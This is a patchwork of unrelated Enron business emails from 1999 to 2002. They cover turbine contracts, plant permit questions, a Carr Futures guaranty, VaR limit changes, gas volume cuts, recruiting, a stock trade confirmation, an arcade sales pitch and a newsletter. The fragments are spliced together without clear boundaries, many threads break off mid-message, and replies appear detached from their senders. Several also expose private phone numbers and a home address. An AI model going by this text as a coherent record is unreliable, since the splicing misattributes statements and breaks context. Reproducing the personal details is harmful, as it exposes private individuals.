---------------------- Forwarded by David W Delainey/HOU/ECT on 02/07/2001 
   
	From:  Michael Guerriero @ ENRON                           02/07/2001 09:24 AM
	
To: David W Delainey@ECT
cc:  
Subject: David Redman

I am having trouble finding the gentleman you referred to yesterday as David 
Redman or Redmond. Did I not get his name correct or could you assist in 
where I can track him down.

MFG

---------------------- Forwarded by Kay Mann/Corp/Enron on 12/22/2000 04:27 
   
	From:  Ben F Jacoby @ ECT                           12/22/2000 04:22 PM
	
To: michael.o.sandridge@us.abb.com @ ENRON, david.onuschek@us.abb.com, Kay 
Mann/Corp/Enron@Enron, Dale Rasmussen/HOU/ECT@ECT, Sheila Tweed/HOU/ECT@ECT, 
Shelby Malkemes/Corp/Enron@ENRON, Lorie Leigh/HOU/ECT@ECT
cc:  

Subject: Wednesday, Dec 27 11AM CST Conference Call  

All:

Please plan to participate in a conference call on Wednesday, Dec. 27 at 11AM 
CST to discuss the breakout contract for the transformers. 

Mike / Dave:

It would be extremely helpful to have comments back on the proposed form of 
agreement provided to you earlier by Kay before this conference call. Please 
forward your comments to the e-mail group listed above.

Shelby / Lorie:

Please set up a call in number and distribute the call in info to the e-mail 
group listed above.

Thanks much everybody. Have a happy and safe holiday. Aloha!

Ben

Dee:   I'm in the midst of a closing; can you email language to me?

Guys:
Here are some more questions regarding the Caledonia and Brownsville plants.  
Your assistance with these questions would be greatly appreciated.  Please 
send your answers back to me when completed.  Again, thank you for your help.
Regards,
Ben
3-7998
---------------------- Forwarded by Benjamin Rogers/HOU/ECT on 12/04/2000 

Don Miller
12/04/2000 10:11 AM
cc:  
Subject: Question 2

---------------------- Forwarded by Don Miller/HOU/ECT on 12/04/2000 10:10 AM 

"Tang, David" <dtang@Cinergy.com> on 11/30/2000 07:45:51 PM
To: "'don.miller@enron.com'" <don.miller@enron.com>
cc: "Whitehead, Robert" <rwhitehead@Cinergy.com>, "Hoyos, Sergio" 
<sergio.hoyos@cinergy.com>, "Chaney, Tom" <tchaney@Cinergy.com>, "Vivar, Art" 
<avivar@Cinergy.com> 

More Questions:

Both Plants

1.  What are the short term NOx and CO emissions during startups, and are
there limitations during start-ups.

2.  Are industrial stormwater permits required at either site?

Caledonia

3.  In Caledonia, what is the custom fuel sampling schedule?

Brownsville

4.  What is the agency's response to the Enron letter regarding the 2nd
stormwater NOV?

5.  Has there been any further action by the agency since the 1st stormwater
NOV was never responded to?

6.  One memo stated that the stormwater is channeled to a wetland.  Was that
during construction only or is it ongoing?

7.  Were there any further problems with the B T Readymix concrete dumping
issue?

From: =09Metoyer, Pam =20
Sent:=09Monday, May 21, 2001 9:04 AM
To:=09Barbour, Karen L.; Crews, David; Geraldo, Emy; Gorte, David; Hachen, =
James; Larson, Bradford; Ledlow, James; Metoyer, Pam; Petersen, Randy; Schl=
emmer, Jack; Schneider, Chip; Tribolet, Michael; Clifford, Marlene L.; Grif=
fin, Sherri; Knightstep, Melissa C.; Landry, Shemeika S.; Lauer, Richard; L=
owry, Donna; Shankle, Monique; Smith, Shelli; Wackerle, Donna; Bonney, Mark=
; Brown, Kortney; Cangucu, Andre; Duran, Arleen; Hudler, Cindy; Ibarra, Fel=
ipe; Koskas, Ethel; Lee, Kyu-Bong; Lewis, Barry; Mora, Mauricio; Naiser, De=
nise; Pollock, Adam; Reyes, Pauline; Soo, Jeffrey A.; Vegalara, Mateo; Walk=
er, Mark A.; Brackett, Debbie R.; Bradford, William S.; Brown, Angela; Buy,=
 Rick; Campbell, Lesli; Conwell, Wendy; Copeland, James L.; Curry, Ken; Dia=
mond, Russell; Espinoza, Veronica; Furey, Denise; Gil, Mercy; Gonzalez, Ver=
onica; Greenlee, Terri; Greer, Andrew; Guidroz, Walter; Harris, Mary; Heath=
man, Karen K.; Holzer, Eric; Johnson, Rudwell; Lebrocq, Wendi; Mendoza, Nid=
ia; Moran, Tom; Negrete, Flavia; Ngo, Tracy; North, Carol; O'Leary, Martin;=
 Otto, Randy; Radous, Paul; Rajaram, Aparna; Reves, Brant; Rohauer, Tanya; =
Ruane, Mark; Sacks, Edward; Seibel, Teresa; Smith, Dana; Vanek, Darren; Vas=
an, Sue; Wilhite, Jane; Williams, Jason (Trading); Wilson, Mark; Adams, Mat=
thew; Andrews, Naveen; Dalal, Sunil; Dalia, Minal; Davenport, Lacrecia; Fig=
ueroa, Xochitl; Gorny, Vladimir; Hagelmann, Bjorn; Hayden, Frank; Hennessy,=
 Rita; Khanna, Bharat; Nordstrom, Mary; Paraschos, Nick; Phillips, Rebecca;=
 Port, David; Presley, Mike E; Reasoner, Monica; Roenz, Manfred; Romero, Ar=
aceli; Schmidt, Darin; Schultz, Cassandra; Suttle, John; Thomas, Mark; Thom=
as, Mark E.; Tongo, Esther; Valdez, Veronica; Yuan, Ding; Zipter, Rudi
Subject:=09FW: Credit Risk Presentation

From: =09Jolly, Kevin =20
Sent:=09Friday, May 18, 2001 4:26 PM
To:=09Metoyer, Pam
Subject:=09Credit Risk Presentation

This is the presentation done by Dave Gorte Friday, May 18 in the credit ri=
sk training.  Please forward the file to all of RAC.

Thanks,
Kevin

Out of habit I sent this to Lisa. 
---------------------- Forwarded by Kay Mann/Corp/Enron on 11/30/2000 03:13 

Kay Mann
To: Roseann Engeldorf/Corp/Enron@ENRON, Lisa Bills/Corp/Enron@ENRON, Brett R 
Wiggs/SA/Enron@Enron, Lisa Alfaro/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc:  

Subject: Attached Files

Attached is the first draft of the ESA facility agreement. which I believe is 
current through yesterday's discussion.  
I would appreciate it if you could forward this to the persons in Transaction 
Support and Tax who are working on this transaction.

Thanks,

Kay

---------------------- Forwarded by Kay Mann/Corp/Enron on 11/30/2000 03:05 

"Thompson, Peter J." <peterthompson@akllp.com> on 11/30/2000 02:30:37 PM
To: "Kay Mann (E-mail)" <kay.mann@enron.com>
cc: "Pipitone, Paul" <paulpipitone@akllp.com>, "Cobb, Chris" 

Attached please find a clean draft of the Enron South America Turbine
Agreement, as well as a blackline showing changes made to the from
document agreed to by GE.

The only additional information that we need to insert into the
agreement is the Agreement Number in Section 6.7.1.

I will send the exhibits in a few moments.
 <<ESA Break-out Agreement Draft of 11/30/00.DOC>>  <<Comparison of
Enron South America Turbine Agreement.DOC>> 
 - 00.DOC
 - Comparison of Enron South America Turbine Agreement.DOC

Toni,

I would like to bring two people for an interview 

One of them sent me a message that is attached below.
I am including the info about the 2nd gentleman below.

I would like to include myself, Vasant Shnabhogue, Tanya Tamarchenko
Stinson Gibner, Zimin Lu, Paulo Issler,  Alex Tang on the interview list.

It would be great if we could bring them this week on Friday. Tanya
will be at a training course next week. This means that if Friday this week 
is too aggressive,
we should shoot for interviews in 2 weeks.

Sorry for a short notice.

Vince

Jermakyan, Martin
410 Brightmore Downs
Alpharetta, GA 30005
Phone: (770) 753-9341 (h)
 (404) 402-8957 (c)
martin@electraparners.com
 
---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 10/09/2000 
09:48 AM ---------------------------

VKaminski@aol.com on 10/07/2000 05:55:11 PM
cc:  
Subject: Fwd: hello from Charles Shen at Williams Co.

Return-Path: <charlesshen8@yahoo.com>
Received: from  rly-zc02.mx.aol.com (rly-zc02.mail.aol.com [172.31.33.2]) by 
air-zc02.mail.aol.com (v76_r1.8) with ESMTP; Wed, 04 Oct 2000 13:43:33 -0400
Received: from  web9407.mail.yahoo.com (23.0/24.129.136.216.in-addr.arpa 
[216.136.129.23]) by rly-zc02.mx.aol.com (v75_b3.9) with ESMTP; Wed, 04 Oct 
2000 13:43:06 -0400
Message-ID: <20001004174302.95070.qmail@web9407.mail.yahoo.com>
Received: from [151.142.252.11] by web9407.mail.yahoo.com; Wed, 04 Oct 2000 
10:43:02 PDT
Date: Wed, 4 Oct 2000 10:43:02 -0700 (PDT)
From: Charles Shen <charlesshen8@yahoo.com>
Subject: hello from Charles Shen at Williams Co.
Cc: vkaminski@aol.com
Content-Type: text/plain; charset=us-ascii

How are you? I am not sure whether you still remember
me, we met in a conference last year in Houston. After
having been working for Williams for about two years,
now I am ready to make a move. I have heard Enron is a
great company, I am wondering whether there is any
opportunity for me, either in research group or in
structure group

Here is brief description about myself: Right after I
got my Ph.D. on finance and econometrics from Duke
University in 1998, I joined Williams Energy Trading
company as a Quantitative Analyst. Now I am Lead Quant
and in charge of the quantitative research group with
7 highly talented people. I have done extensive
research and modeling about electricity,
load-following deal and tolling deals.

If you need any additional information, please feel
free to call me at 918-409-4308. I look forward to
hearing from you soon, thank you.

sincerely,
Charles

Yahoo! Photos - 35mm Quality Prints, Now Get 15 Free!

CALENDAR ENTRY:	EVENT

Date:		4/23/2001
Duration (days):	1

sara, would you please give him a call on the gty? let's start with 25mm cap

From: Glover, Sheila 
Sent: Tuesday, November 20, 2001 12:09 PM
To: Shackleton, Sara; Rohauer, Tanya
Subject: FW: Carr Futures

Sara and Tanya,
Rick Farina, 312-441-4420, called this morning and left a voice mail.  He requested that I call him back because he wanted to clarify their stance.  

It is probably more for one of you to speak to him rather than myself.

Please advise if one of you will give him a call this afternoon.

From: Panus, Stephanie 
Sent: Tuesday, November 20, 2001 9:55 AM
To: Glover, Sheila

Sheila,
Do you know who in London works on futures/brokerage agreements?  I'm trying to find out if ECTRIC has an agreement with Carr.

From: Shackleton, Sara 
Sent: Monday, November 19, 2001 5:42 PM
To: Panus, Stephanie

Scroll all the way down to Sheila's original message for contact person and the two Enron companies being guaranteed.  You will need to verify with London that ECTRIC has a futures agreement with Carr (maybe you can get a copy of it for our records).  Can you prepare a draft guaranty and ask Tanya for a cap.  Thanks.  Sara

Sent: Monday, November 19, 2001 5:33 PM
To: Rohauer, Tanya; Shackleton, Sara
Subject: RE: Carr Futures

Pls see me original e-mail below.
sg

From: Rohauer, Tanya 
Sent: Monday, November 19, 2001 5:24 PM
To: Shackleton, Sara; Glover, Sheila

I assume the parties are  ENA and ECTRIC with Carr Futures, Inc. I do not have any information about this though nor do I have a contact.  Sheila can you provide this information to Sara?

Sent: Monday, November 19, 2001 4:37 PM
To: Rohauer, Tanya
Cc: Panus, Stephanie

Tanya:  Just let us know the parties and guaranty cap.  I am not familiary with any Carr arrangements other than the ENA futures agreement.  Also, do you have a contact at Carr?

Sent: Monday, November 19, 2001 2:42 PM
To: Rohauer, Tanya; Shackleton, Sara; Bradford, William S.

No objections

Sent: Monday, November 19, 2001 12:51 PM
To: Shackleton, Sara; Bradford, William S.; Kitchen, Louise

Are there any objections to issuing the gty? We just did the same thing last week for FIMAT Issuing seems the simplest rather than having to stop trading, although traditionally we have not issued corp gtys.  Please advise.

Tanya

Sent: Monday, November 19, 2001 11:28 AM
Cc: Su, Ellen
Subject: Carr Futures

Tanya,
I received a call from Carr Futures this morning.  Their parent, Cr?dit Agricole Indosuez, is requesting a parent guanantee to continue trading with Enron North America Corp. and Enron Capital and Trade Resources International.

I spoke with Gary this morning and he said that we could stop trading with them.  I said that others do trade with Carr.  He suggested then that the energy guys can proceed if they wish to continue trading with Carr.

Rick Farina, 312-441-4420, called me with Larry Anderson and Patty Chambers.

How do you want to proceed?

Sheila

affiliates.  , 2000 Carr Futures

Crude Spread     http://www.carrfut.com/research/Energy1/crudespread33.pdf
Heat Spread     http://www.carrfut.com/research/Energy1/heatspread33.pdf
http://www.carrfut.com/research/Energy1/unleadspread33.pdf

Heat Crack     http://www.carrfut.com/research/Energy1/heatcrack33.pdf
Gas Crack     http://www.carrfut.com/research/Energy1/gascrack33.pdf

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Sent: Thursday, May 24, 2001 11:35 AM
Cc: Rorschach, Reagan; Kroll, Heather; Fairley, David; May, Tom
Subject: Re: Open items for MDEA

More:

We need internal agreement on the cancellation fee schedule, to be included 
as an exhibit.
[Rorschach, Reagan]  I will create today and email to you.

What is the status of the Yazoo City master gas agreement? [Rorschach, 
Reagan]   I will check.   Do we still want a master gas agreement for 
Clarksdale, also?   [Rorschach, Reagan]  yes Do we want it now? [Rorschach, 
Reagan]  yes, so long as it does not bog you down 

Thanks,

Kay

Kay Mann
05/23/2001 05:05 PM
To: Reagan Rorschach/Enron@EnronXGate, Heather Kroll/Enron@EnronXGate, David 
Fairley/Enron@EnronXGate, Tom May/Enron@EnronXGate
cc:  

Subject: Open items for MDEA

Here are issues which I'm unclear about, all of which impact the drafting of 
the agreement:

How are we setting the heat rate?  Do we have the GADS (?)?  Is it a daily 
average, weekly average?  Flat rate? Adjusted? If so, how often?

Are we comfortable that there are no permit restrictions?

We have determined that we won't deal with fuel oil, right?

We aren't making money on gas, right?

Do we have a defn of costs that we like yet, and if so, how does it fit in to 
the picture?

Is there an up-to-date set of exhibits?  

It would help if theh commercial part of the team could send me the 
following, in words and/or formulae:

The defn and method of establishing the bogey (target production cost) 
formula can be an exhibit, which would be great for the commercial team to 
work on.   Are we determined how we should deal with imbalances (part of cost 
of power)?  How are we setting the bogey?  Formula?  Subject to audit? Two 
bogeys or one (gas and oil)?

What is defn of profit?  I think I have the general idea, but a sentence or 
two would be helpful as a reality check.  What costs are included on the buy 
and sell side?

Re stack model: a sentence or two describing what it is and how it is used.

Updated exhibit on facilities, contracted resources, operating limits.

What information does MDEA need for us to provide in order to split 
costs/profits?  Are we clear that Cities buy gas, MDEA buys/sells power?

It would be great if I could get one set of answers to these 
questions/issues, which has commercial buy in all around.

Thanks,

Kay

Here is a list of the cuts we had for 4/7/01 - 4/9/01 as of this morning.  I am also including the deal numbers that I adjusted as well.   I think I put a note on each deal about the cuts..

ENOVATE				4/6/01		4/7-4/9		4/10/01

Conoco to ENV
Sitara #669940			10,333		6,733		21,133

Cut 3600/day x 3 days = total cut of 10,800 (Baseload deal), included 10,800 on 4/10/01 number

Marathon to ENV
Sitara #711702			  2,265		1,770		0

Cut 495/day x 3 days = total cut of 1,485 (swing deal only)

Hunt to ENV
Sitara #704697			10,000		3,300		0

Cut 2,200/day x 3 days = total cut of 6,600 (swing deal only)

ENV to EMW
#684625				25,000		18,705		10,800

Cut 6,295/day x 3 days = total cut of 18,885 (10,800 base and 8,085 swing), included 10,800 only on 4/10/01 number

ENRON MIDWEST

ENV to EMW

Cut 6,295/day x 3 days = total cut of 18,885 (10,800 base and 8,805 swing), included 10,800 only on 4/10/01 number

EMW to PGLC
#572911				20,000		13,705		38,885

cut 6,295/day x 3 days = total cut of 18,885 (10,800 base and 8,805 swing), included 18,885 on 4/10/01 number

ENRON NORTH AMERICA

AXIA to ENA
#719417				0		0		0

Cut 2,723/day x 3 days = total cut of 8,169 (swing only)

AEC
#281609				10000		6,727		19,819

Cut 3,273/day x 3 days = total cut of 9,819, included on 4/10/01 number

PANCANADIAN to ENA
#682196 (CHICAGO DEAL)		10,000		8,800		13,600

Cut 1,200/day x 3 days = total cut of 3,600 - included on 4/10/01 number

NICOR GAS to ENA
#720188				0		301		0

Cut 2,199 x 3 days = total cut of 6,597 (swing only)

ENA TO CMS
#695565				10,000		6,727		19,819

Cut 3,273 x 3 days = total cut of 9,819, included on 4/10/01 number

PGLC to EMW
#720524				0		49323		0

PGLC bought back 6,122/day x 3 days = total buy back of 18,366

Frank - I think Harry Collins is tracking this down.  If it isn't settled to 
your satisfaction by Thursday, please let me know.

Mark

Frank L Davis
09/20/99 04:23 PM
cc: Bob Shults/HOU/ECT@ECT, Mark Dilworth/LON/ECT@ECT 
Subject: Missing GTC's

Mark,

I notice that we have GTC's for EGLI Liquids(without collateral) and ELFI 
Crude-Products-Petchems (without collateral), but we do not have GTC's for 
EGLI Liquids (with collateral) or ELFI Crude-Products-Petchems (with 
collateral).   Is this correct? 

Thanks!

Frank
x37235

EnronOnline Executive Summary for 11/27/00
External Transactions Today	4,425
Average Daily External Transactions (30 day Trailing Avg)	3,767
Total Life to Date Transactions	468,825

EnronOnline Daily % of Entity's Total Transactions for 11/27/00	Trans	Percent
Enron North America	3,780	74%
Enron Europe Limited	164	35%
Global Products	178	41%
Enron Metals	303	15%

(30 day Trailing Avg)	52%

Today	3,265,011,002
MTD	53,042,491,259
LTD	266,471,195,675
Average Daily Notional Value (30 Day Trailing Avg)	2,645,326,254
	
Notional Revenue from Physical Flows to Date	18,254,266,074

Counterparties having transacted to date	579
Number of Products Offered Today	1,120
Total Number of External Users Logged on Today	3,135
Average # of External Users logged on (30 day Trailing Avg)	2,812

Rick Buy informed us this morning that the BOD approved, effective today, a 
one week extension of the Temporary VaR allocation of $5MM to UK Power that 
was made last week in the e-mail referenced below.  So the limit changes as 
of 12/12/00 for Enron Europe:
  
   through 12/22/00 12/23/00 - 12/31/00 1/1/01
1) UK Power VaR $20.3MM  $15.3MM  $13.95MM
     UK Power NOP 68 Twh   68 Twh   59.5 Twh

If UK Power feels they need a VaR limit in excess of the schedule above, they 
will need to meet with Ted Murphy and Rick Buy to discuss it further.  
Currently, we have no Discretionary VaR available for allocation, but 
re-allocation from another commodity group may be technically possible at 
some point.  Although
several other commodity groups are vying for the same VaR capital.

2) European Gas - NOP and Maturity/Gap Limits revert to permanent limits on 
1/1/01 (as previously scheduled),  of 60 Bcf and 90 Bcf, respectively

3) Credit Trading - now includes the Debt Trading commodity group, and has 
one combined limit structure:
  NOP                  Maturity/Gap  VaR 
 $750,000 DV01/bp total        N/A   $5 MM
 $  50,000 DV01/bp individual

4) Commodity Group Loss Notification requirements were changed as follows 
(note: business units are encouraged to establish sub-limits):
      Effective 12/12/00  Previous
Daily Loss in any Commodity group or Portfolio:

? Report to Business Unit Office of the Chairman 100% of VaR   not 
specifically stated
? Report to Enron Corp. President   125% of VaR   50% of VaR
? Report to Enron Corp. Chairman   150% of VaR    75% of VaR
? Report to Audit Committee   no reporting at commodity  all are reported 
quarterly
group level   

Cumulative 5-day Loss in any Commodity Group or Portfolio:

? Report to Business Unit Office of the Chairman 125% of VaR   not 
? Report to Enron Corp. President   150% of VaR    75% of VaR
? Report to Enron Corp. Chairman   175% of VaR    100% of VaR
quarterly
group level

Please share with whoever else needs to know, the change in loss notification 
requirements as these are applicable to all commodity groups.

Regards,
Cassandra Schultz.
x30429.

---------------------- Forwarded by Cassandra Schultz/NA/Enron on 12/13/2000 
01:15 AM ---------------------------
   
From:  Cassandra Schultz                                                      
       12/07/2000 12:49 PM	
	
To: James New/LON/ECT@ECT, Michael Kass/EU/Enron@Enron, Mike 
Jordan/LON/ECT@ECT
cc: Fernley Dyson/LON/ECT@ECT, Oliver Gaylard/LON/ECT@ECT 

Subject: Limit Changes

Today, December 7th, the Executive Committee of the BOD met and approved the 
following temporary limit increase for Enron Europe:

Temporary $5MM increase in VaR:   12/7/00 - 12/15/00

UK Power VaR 12/7 - 12/15  $20.3 MM  

Please revise the DPR accordingly, as will Global Energy Operations here in 
Houston to incorporate this and other changes.  The BOD meeting is this 
coming Tuesday, and I will then let you know what the permanent or more 
extended temporary limit adjustments are. 

Regards,

interview will occur on Friday January 12, 2001.  Please print all documents 
for your reference.  If you have any questions, or conflicts of schedule, 
please do not hesitate to contact me.

58701

----- Forwarded by Susan J Mara/NA/Enron on 11/22/2000 12:51 PM -----

	"CHUDSON" <carol@iepa.com>
	11/22/2000 12:47 PM
		 
		 To: "Katie Kaplan \(E-mail\)" <kaplan@iepa.com>, "Jeff Dasovich \(E-mail\)" 
<jdasovic@enron.com>, "Kelly Norton \(E-mail\)" <knorton@mcnallytemple.com>, 
"John Stout \(E-mail\)" <John_H_Stout@reliantenergy.com>, "Curtis Kebler 
\(E-mail\)" <curtis_l_kebler@reliantenergy.com>, "Rob Lamkin \(E-mail\)" 
<rllamkin@seiworldwide.com>, "Bob Weisenmiller \(E-mail\)" 
<rbw@mrwassoc.com>, "Susan J Mara \(E-mail\)" <Susan_J_Mara@enron.com>, "Andy 
Brown \(E-mail\)" <abb@eslawfirm.com>, "Bob Escalante \(E-mail\)" 
<rescalante@riobravo-gm.com>, "Greg Blue \(E-mail\)" <gtbl@dynegy.com>, "Jack 
Pigott \(E-mail\)" <jackp@calpine.com>, "Jan Smutny-Jones \(E-mail\)" 
<smutny@iepa.com>, "Joe Ronan \(E-mail\)" <joer@calpine.com>, "Lynn Lednicky 
\(E-mail\)" <lale@dynegy.com>, "McNally Temple Assn. Inc. \(Business 
Fax\)"@mail.cwo.com, "Steven Kelly \(E-mail\)" <steven@iepa.com>, "Susan J 
Mara \(E-mail\)" <Susan_J_Mara@enron.com>, <mrmonagan@aol.com>, 
<marie_moretti@msn.com>, "Delaney Hunter \(E-mail\)" 
<dhunter@smithandkempton.com>, <kelly@hnks.com>, <jparker@HMOT.com>, 
<chudson@iepa.com>
		 cc: 
		 Subject: 

Jan Smutny-Jones, Exec Dir
iepa@iepa.com

 - Govs meeting Conf Call.doc

You bought 70 shares of CIEN (Ciena Corp Com) at 113.430000.

The tracking number for this order is: B-600-AASF-8733
Order entered at:                      10:33:00 on 11/03/00
Order processing began at:             10:33:01
Order executed at:                     10:33:01 on 11/03/00

Time and Date: 10:33:01 on 11/03/00
Your position in CIEN is 70 shares
Your real cash total is $-28,527.00

Hi Jim,
Here's another thought on games.  If you get our Ultracade system you'll get
24 games installed and a new cabinet for 3599.99.  Any word on the Galaga or
Daytona?  Here's a link to it:
http://www.arcadeequipmentwarehouse.com/Ultracade/ultracade.html also look
through our used video list, it hasn't been updated recently but most of
what's on there is still available.  It shows we have 3 sets of Daytona's
available but we only have one and one Daytona 2 set.  Also we currently
have 2 of the Galaga/Pacman games in stock.
Lutz

Julie,

A few issues.

1. I would like to register 2 members of my group for both courses (in 
Houston):

a. Paulo Issler
b. Alex Huang

I shall attend the course on weather only.  

2. I have started the process to issue a check for 5,000 AUD for Lacima.
Shirley sent you an update on this. The 2nd installment comes from the budget 
of our 
office in Australia. I shall talk to Paul Quilkey today about it. Please, let 
me know if there is any delay.

3. The book  will be used as textbook for the class I shall be teaching at 
Rice.
Rice Univ bookshop is placing an order.

4. I would like to order 50 copies for my group. What is the ebst
way to place the order?  Can we pay in US dollars?

Vince

"Julie" <julie@lacima.co.uk> on 11/12/2000 02:05:40 PM
To: <Undisclosed-Recipient:@mailman.enron.com;>
cc:  
Subject: Lacima Energy and Weather Derivatives Courses by Clewlow and 
Strickland

Please find attached information?for our next two courses and  workshops:? 
Energy Derivatives:? Pricing and Risk Management and
Weather Derivatives, which will be conducted in Houston and in London in  Feb 
/ March 2001.? Instructors will be Dr Les Clewlow and Dr Chris  Strickland.
?
Because the course requires intense interaction, the courses will  be?limited 
to a maximum of 15 people, so early registration is  encouraged.
?
If you require further information, or would like to register for either or  
both?courses, please contact me via this email or our web site,?www.
lacimagroup.com
 - Energy.pdf
 - weather.pdf

----- Forwarded by Steven J Kean/NA/Enron on 03/27/2001 02:43 PM -----

	Ursula Brenner
	03/23/2001 04:03 PM
		 
		 cc: 
		 Subject: SMethodist Presentation

Steve,

Jeff is talking at SMU Management Briefing Series on March 27th.  The 
organizers wanted him to talk about his background and career at Enron and 
about where the industry is heading.  The presentation covers this last 
piece.  The audience will be local business people and some SMU students and 
professors (350-400 people)

Jeff already reviewed this presentation.  Please, let me know if you have any 
questions or suggestions.

Thanks,

03/23/2001 03:43 PM
cc:  

Subject: SMethodist Presentation

Don, lets hang tough for a day or two.  Nothing needed for Cinergy.

Regards
Delainey

 The McKinsey Quarterly Newsletter: November 2001 =09
  If you would prefer to view this newsletter as a Web page, point your Web=
 browser to: http://www.mckinseyquarterly.com/newsletters/2001_11.htm   [IM=
AGE]  Greetings from The McKinsey Quarterly!  This month's Top 5 list focus=
es on strategy, a category in which McKinsey authors grapple with uncertain=
ty, defined by Mr. Webster as "a lack of certitude ranging from a small fal=
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ategy page.  See you at the site!  Lang Davison Editor, mckinseyquarterly.c=
om  [IMAGE]  This month at mckinseyquarterly.com   The other side of outsou=
rcing   "Infraservices" is the business of running the businesses nobody el=
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routine operations (think: building maintenance or payroll processing) for =
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n entering the market in increasing numbers. Should your company be in this=
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consumers about on-line privacy. Typically, their biggest concern isn't tha=
t information about them will be captured by marketers but that marketers w=
ill give nothing in return. The authors of this article explore the notion =
of collaborative "value exchanges" as a way for companies to win their cust=
omers' trust.  Internet services: Who's smiling now?   Now that growth in I=
nternet traffic is slowing down, traditional IT players such as AT&T, EDS, =
and IBM have gained the advantage in Internet hosting and content distribut=
ion over their smaller, more specialized competitors. This article examines=
 the way changes in Internet traffic patterns are playing to the strengths =
of the big boys.  Unbundling the unbundled   Companies in the utility busin=
ess used to be hulking and monolithic. Then they got skinnier and more nimb=
le by, for instance, breaking electricity provision into its component part=
s. Now more change is in store as core activities-ownership, management, an=
d service delivery-get unbundled from one another and treated as separate b=
usinesses.  Vaccines where they're needed   Most people in the developing w=
orld go without the vaccines they need largely because the economics of dru=
g development in rich countries don't line up with the economics of health =
care provision in poor ones. Governments and international organizations ca=
n remedy this deplorable situation by assuming some of the risks now borne =
by drugmakers.  Thailand's chance for no-pain gain   This article, outlinin=
g a report from the McKinsey Global Institute, identifies policy reforms th=
at Thailand could make to raise productivity in key industries, without res=
orting to subsidies or additional government spending. These reforms, the a=
uthors argue, should be undertaken with careful consideration of their econ=
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 Strategy under uncertainty  Creative destruction  Creating a knowledge cul=
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3ddon.baughman@enron.com

                                    COMMENTS 
 
Route: 1 
 - (Approved) ADDED MADISON # 1 AS ALTERNATE DELIVERY POINT.

FOR THROUGHPUT                                           Market Services        
                                                         DATE:  Oct 29, 2001    
                                                         CR# 108161   / Amnd# 2 
                        CONTRACT APPROVAL FORM                                  
                                                                                
NATURE OF CONTRACT: TFX                                                         
                                                                                
PARTIES:     Northern Natural Gas Company                                       
             WPS ENERGY SERVICES, INC.                                          
                                                                                
SUMMARY OF PRINCIPAL POINTS:                                                    
                                                                                
The contract contains Non-Standard Language.                                    
                                                                                
Total Discount: $0.00                                                           
                                                                                
Account Manager: FRANK SEMIN, (402) 398-7376                                    
                                                                                
Approval is required of the departments marked with an asterisk (*).            
Contact the account manager for additional information.  Please send approval   
or comments to EB4135R, Phone:713-853-6182,  Fax: 713-646-8260   ASAP.          
                                                                                
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   * Required Signatures                                                        

Ross:
Don and I are looking for information on the Maintimizer software systems.  I 
have given Jim Meyers a call at New Albany, but he is out till Wednesday.  Do 
you know of anyone else we can talk to.  Thanks!
Ben

Do you need any help?

Stacey

Sent:	Monday, January 07, 2002 4:25 PM
Subject:	RE: NETCO

Please find attached the Integration Plan for Power Risk Management.  If you need this information consolidated or expanded just let me know.

Thanks,
Stacey

Louise

Louise -

The attached is a very rough summary of the technology comparison.  We should be able to provide more information depending on your desired level of detail.

Regards,

x33957

request_number:  IN-BPA:  033
firstname:  Lincoln
lastname:  Wolverton
e-mail:  lwolv@worldaccessnet.com
directed_to:  Peter Burger
Bonneville Power Administration
exhibit_wp-02-e-:  WP-02-E-BPA-77
page_numbers:  15
request_text:  Please specify the portions of ICNU testimony in which ICNU is 
alleged to argue that "secondary energy used to meet augmentation should be 
priced at zero cost in the LB CRAC calculation."
contact_name:  Linc Wolverton
contact_address:  East Fork Economics
P.O. Box 620
35011 North Fork Rd.
La Center, WA  98629

contact_phone:  360-263-3675
contact_email:  lwolv@worldaccessnet.com
contact_fax:  360-263-3675
delivery_instructions:  Data Responses will be picked up by courier:  call 
Linda Vitale of Davison Van Cleve, P.C. at 503-241-7242.

1.  Logon: PSP-TEN
2.  Remote Host:  63.230.164.97
3.  Remote IP Address:  63.230.164.97
https://secure.bpa.gov/power/secure/psp/ratecase/discovery/wp_02_request.html
5.  Browser Client:  Mozilla/4.73 [en]C-DIAL  (Win98; U)

A new or modified message is in the EOL Terminations mail file.

Click on the doc link below to view the message.

This service is supported by European Notes Administration
 Who Date Subject

 London Fax System 12/06/2000 New fax received (Likely sender: ).

I wish we could have purchased that gas at 4.18.  But, the correct price is 5.18.  I have corrected the deal ticket.

D

From: 	Meyers, Julie  
Sent:	Thursday, May 10, 2001 9:27 AM
To:	Daren J Farmer/HOU/ECT@ENRON
Cc:	Richmond, Charlene
Subject:	price for Crosstex

---------------------- Forwarded by Julie Meyers/HOU/ECT on 05/10/2001 09:26 AM ---------------------------

Charlene Richmond
05/09/2001 04:37 PM
To:	Julie Meyers/HOU/ECT@ECT
cc:	 

Julie ,  CrossTex  said that they were paid incorrectly on deal 681360 for the days of 3/24 thru 3/26/2001.  

We paid them $4.18 and they said that their price should be $5.18.

FYI.

From: Boyd, Hap 
Sent: Wed 9/12/2001 8:22 PM 
To: Dasovich, Jeff 
Cc: 
Subject: RE: for Board review and comment

Jeff,

My biggest concern is that we draw attantion to our QF contracts and there is pressure for us to give up our capacity payment or the CPUC futher dilutes our energy payment. I also don't think it makes sense to attack the large companies that have the DWR contracts. We generally end up working together on various issues and I do n't want to damage the relationships. I agree with many of the points John makes, but I don't want to be identified with the letter.

Enron Wind also needs to see an Edison MOU bill passed so we can get paid our past due amounts and get our five year fixed energy price on our ISO4 contracts. I plan to be in Sacramento the next couple of days and will stop by Governmental Advocates.

Regards,

Hap

As everyone already knows we(Enron) does not have a shared drive for the 
Daily.est.  So if everyone could update the sheet with their own volumes and 
email me back i will consolidate it to (1).  Thanks

Please have your est volumes by 5:00pm Jan 25 (Tuesday)

The following message was sent to you as an opt-in subscriber to The
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Keoni,

Attached you will find the memo you have been looking for regarding March meter data issues.

Thanks - MO

Attached are the following documents with slight changes and all the numbers 
input:
 1.  Amendment to Compressor Services Agreement (Bloomfield)
 2.  Amendment to Compressor Services Agreement (Bisti)
 3.  Amendment to Operation and Maintenance Agreement (Bloomfield)
 4.  Amendment to Operation and Maintenance Agreement (Bisti)

Please disregard the previous versions and focus on these.   Also attached 
are two side letter agreements which specify the net book value for the 
Compressor Motor Buyout provisions (in the event of termination) under the 
Compressor Services Agreements
 5.  Net Book Value Letter for Bloomfield
 6.  Net Book Value Letter for Bisti

Again,  the plan is to have ECT and TW execute these documents and then 
assign all of these along with the agreements they amend and the power 
